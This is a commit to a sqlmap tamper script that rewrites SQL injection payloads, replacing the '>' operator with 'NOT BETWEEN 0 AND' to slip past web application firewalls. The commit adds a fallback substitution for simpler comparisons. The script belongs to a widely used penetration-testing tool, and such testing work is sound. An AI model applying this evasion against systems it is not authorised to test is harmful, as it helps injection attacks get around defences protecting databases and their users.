old_contents: #!/usr/bin/env python
  
  """
  Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
  See the file 'doc/COPYING' for copying permission
  """
  
  import re
  
  from lib.core.enums import PRIORITY
  
  __priority__ = PRIORITY.HIGHEST
  
  def dependencies():
      pass
  
  def tamper(payload, **kwargs):
      """
      Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
  
      Example:
          * Input: 'A > B'
          * Output: 'A NOT BETWEEN 0 AND B'
  
      Tested against:
          * Microsoft SQL Server 2005
          * MySQL 4, 5.0 and 5.5
          * Oracle 10g
          * PostgreSQL 8.3, 8.4, 9.0
  
      Notes:
          * Useful to bypass weak and bespoke web application firewalls that
            filter the greater than character
          * The BETWEEN clause is SQL standard. Hence, this tamper script
            should work against all (?) databases
      """
  
      retVal = payload
  
      if payload:
          match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)
  
          if match:
              _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
              retVal = retVal.replace(match.group(0), _)
  
      return retVal
  
new_contents: #!/usr/bin/env python
  
  """
  Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
  See the file 'doc/COPYING' for copying permission
  """
  
  import re
  
  from lib.core.enums import PRIORITY
  
  __priority__ = PRIORITY.HIGHEST
  
  def dependencies():
      pass
  
  def tamper(payload, **kwargs):
      """
      Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
  
      Example:
          * Input: 'A > B'
          * Output: 'A NOT BETWEEN 0 AND B'
  
      Tested against:
          * Microsoft SQL Server 2005
          * MySQL 4, 5.0 and 5.5
          * Oracle 10g
          * PostgreSQL 8.3, 8.4, 9.0
  
      Notes:
          * Useful to bypass weak and bespoke web application firewalls that
            filter the greater than character
          * The BETWEEN clause is SQL standard. Hence, this tamper script
            should work against all (?) databases
      """
  
      retVal = payload
  
      if payload:
          match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload)
  
          if match:
              _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5))
              retVal = retVal.replace(match.group(0), _)
          else:
              retVal = re.sub(r"\s*>\s*(\d+|'[^']+')", " NOT BETWEEN 0 AND \g<1>", payload)
  
      return retVal
  
subject: Update for special cases